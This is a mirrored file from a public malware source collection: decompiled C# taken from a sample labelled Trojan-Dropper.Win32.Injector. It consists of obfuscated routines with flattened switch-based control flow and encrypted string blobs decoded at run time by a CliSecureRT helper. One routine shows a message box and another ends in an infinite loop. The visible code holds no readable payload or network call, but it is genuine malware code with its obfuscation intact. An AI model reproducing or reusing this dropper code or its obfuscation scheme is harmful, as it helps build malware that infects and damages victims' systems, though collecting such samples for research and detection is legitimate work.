mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
84 lines
3.9 KiB
C#
84 lines
3.9 KiB
C#
|
// Decompiled with JetBrains decompiler
|
|||
|
|
// Type: WindowsApplication1.y0910s73c1PJ
|
|||
|
|
// Assembly: services, Version=1.0.0.0, Culture=neutral
|
|||
|
|
// MVID: B65915CE-7F4E-49F3-904E-5AF96F36C4FD
|
|||
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Dropper.Win32.Injector.ecsd-230c64225092a0fc11f7f5d052420a7356ed704e84d016bc8fde666e83b67e43.exe
|
|||
|
|
|
|||
|
|
using Microsoft.VisualBasic;
|
|||
|
|
using Microsoft.VisualBasic.CompilerServices;
|
|||
|
|
|
|||
|
|
namespace WindowsApplication1
|
|||
|
|
{
|
|||
|
|
[StandardModule]
|
|||
|
|
internal sealed class y0910s73c1PJ
|
|||
|
|
{
|
|||
|
|
public static void d9mZF4I6zt21s5n8()
|
|||
|
|
{
|
|||
|
|
label_2:
|
|||
|
|
int num1 = 3;
|
|||
|
|
while (true)
|
|||
|
|
{
|
|||
|
|
switch (num1)
|
|||
|
|
{
|
|||
|
|
case 0:
|
|||
|
|
if (true)
|
|||
|
|
{
|
|||
|
|
num1 = 2;
|
|||
|
|
continue;
|
|||
|
|
}
|
|||
|
|
goto case 3;
|
|||
|
|
case 1:
|
|||
|
|
goto label_7;
|
|||
|
|
case 2:
|
|||
|
|
num1 = 1;
|
|||
|
|
continue;
|
|||
|
|
case 3:
|
|||
|
|
\u003CCliSecureRT\u003E.cs("äæÁc\u00921°Z⁘¨º¦9*\u00953éz\u00B3c\u0099⃔ŧwA\u0017Ú.ò ù⃨\u0004^p,\u0014Ÿâ\u0089îß˶b\u0004ÒalP¿y^_\aòE),AB?¿ÇCQùÊ\u00BD\nòa⁇\u001Bm$Xnjû®Pb¦\u009F\u009B\u009Cð\u008Aj±Lè'iD5/¶8⃰ö7\f^\u00B3æø\u009EO\u009A9\u0088fzFÜₛ⃟oä₢\u20C8W\u008C2\u2087\u0087\u00BD\u000EYo\u008F0ÛV\u00BDýɒ\u20622\v⁉/ºljî H33\u009C\u0017µ\u001F\u00B9 WGP\u00BCz\u0087ĭ4\09Æís~\u20F4Ý");
|
|||
|
|
num1 = 0;
|
|||
|
|
continue;
|
|||
|
|
default:
|
|||
|
|
goto label_2;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
label_7:
|
|||
|
|
int num2 = (int) Interaction.MsgBox((object) \u003CCliSecureRT\u003E.cs("º¦Ê6ₚĈ¸clþú·\a\u2061ư\u009A\n˦ũ!÷\u00BC\u009D\u001C Ů\u009D\u0002ë/ãîÛĚf+\u20706ȏí\u0083c\u00BDxYÆOp⁎ÖS˼œQæŸÌs.ⁿ\u0010Ú\u209E ,ª\u0094\u0084\u001EÎt\u0005⁌\rN\\éúÕlWô\u0099\u0094⃘¢ë\u001C¸w\u00B9o)⁒txê*ĎñER9\u0083òäₛ}\u0082\u0011ø\ni\u008Dò·P3⃕1\u0005D©T÷\u0088§v%ZÚ(Îx\u008A\u0098₌\u0004*gURý€ÇßX(MƝGvE⃢•․M\u0014Åwè⃡@*\u0018ÕÈ\u007F%"));
|
|||
|
|
}
|
|||
|
|
|
|||
|
|
public static void N6KvS8b5s()
|
|||
|
|
{
|
|||
|
|
label_2:
|
|||
|
|
int num = 3;
|
|||
|
|
string str;
|
|||
|
|
while (true)
|
|||
|
|
{
|
|||
|
|
switch (num)
|
|||
|
|
{
|
|||
|
|
case 0:
|
|||
|
|
str = \u003CCliSecureRT\u003E.cs("\u009FÂñ/Ón\u0081\u001D\u0016ÿ©íC\u0012\u008A\u008A\u001D\u0016«uÐþÂ\u0012!N\u0095~\u0090-ù\u008A¥K\"s$Q§\u0086\u0090~S\u00146ÈI\\:¨*\f3\u0011ÄL\u0093\tf\u0014i\u00BEê\u00188û\u0097\u008A\u001CÄ5\u001Da?\u001CQÓ«§Vc\u0089\u0087\u0092\u0096Ùÿz\u0085T¢LT\u0015\u001Agþ:\u000F\u0098~ZB\u00B9¶©\u0099nÏ5\u008B\u001C\a±úñ2,¦Ì\nE\u00BDPÓ\u009A\u0092m*\fÏ#ÁMû\u0088À+%\u00150l\u009CÂà~Yn?\u0085\u0016\bVÎ");
|
|||
|
|
if (true)
|
|||
|
|
{
|
|||
|
|
num = 2;
|
|||
|
|
continue;
|
|||
|
|
}
|
|||
|
|
goto case 3;
|
|||
|
|
case 1:
|
|||
|
|
goto label_7;
|
|||
|
|
case 2:
|
|||
|
|
num = 1;
|
|||
|
|
continue;
|
|||
|
|
case 3:
|
|||
|
|
str = \u003CCliSecureRT\u003E.cs("÷ºÄ 3\u0012¦Ž;ºõ\u00ADW/í\u0080%‐\u0092eÀ»¯⁇gY\u0093=èS⃕C¤JI\u0018ùUüå\u0085cJ\u0005P⃣IWⁱ\u20C2;Ũ\u007FZ»;ý=6,0\bÛ\u007F\u007F \u20F4⃘\u0019Ömnj&p\0\u0003\u0013Ǹk˜4\u20F2\u0081ì\u20C1¿⃔\u200FÉ‖Ú\"}\u0015l\u007F\u008Fn\u0011₎kzG\u008Cä£ÌQÇ\u001E\u0098Vu\u009EöǢWj⃭âD\0ƩC'«ȳ\fz\u0015\u009E\u000Fú<æ\u0092Ë\a%22a\u0088ǔü\u0015\u0016\u0015[À{\u0005\u0017⃡‽A_\u20C7è[çyz</§\u00BC\u0001Hã¦Â\u200C\u00B9\u0003,tf!6þÞ¢DQ¦");
|
|||
|
|
num = 0;
|
|||
|
|
continue;
|
|||
|
|
default:
|
|||
|
|
goto label_2;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
label_7:
|
|||
|
|
str = \u003CCliSecureRT\u003E.cs("ºÚÒ/À?¬\u0017sª\u00ADµ\u0019w\u00BCÈQJ\u0093wÛ§\u009B;rXÏ~\u0092n\u0091ùà;z2\fk§ã\u0090)zj@\u0084\u0010wXÍT[6\u0019áC÷\0j\u0001iß\u00B3\u0016CúÛ\u009F\u0018Ãa\u000E9~\u0005Yѯ\u0093w\"¬\u00B9Å¡ò\u0097X\u009DhªUS\u0004`,\u0093;3þ\"\u0018VÒ\u0090ÎÏ*Ê)\u0088H\vÿÐÚ\u0003\r\u009EûUu\u0098&ô¨»ihKÎ\u0017í`ùºÐBF");
|
|||
|
|
while (true)
|
|||
|
|
;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
}
|